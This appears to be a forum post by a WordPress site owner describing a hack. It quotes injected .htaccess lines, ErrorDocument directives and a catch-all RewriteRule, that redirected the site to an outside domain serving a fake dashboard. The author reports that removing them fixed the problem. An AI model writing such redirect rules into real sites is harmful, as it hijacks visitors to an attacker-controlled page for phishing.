What happened to me, as a non technical user, most of the blog seemed OK but if I searched for a plugin, the site would request some data from allowupdate.ru and the whole site would suddenly look like a poorly replicated WP dashboard.
I found these lines in my .htaccess file:
ErrorDocument 400 https://allowupdate.ru/source/index.php
ErrorDocument 401 https://allowupdate.ru/source/index.php ErrorDocument 403 https://allowupdate.ru/source/index.php ErrorDocument 404 https://allowupdate.ru/source/index.php ErrorDocument 500 https://allowupdate.ru/source/index.php
Then some other code which seemed harmless, something about search engines, then this:
RewriteRule ^(.*)$ https://allowupdate.ru/source/index.php [R=301,L]
Once I got rid of these everything was fine. Though I now have another 50 odd sites to go through and take this stuff out. Time to move everything to a VPS I think ??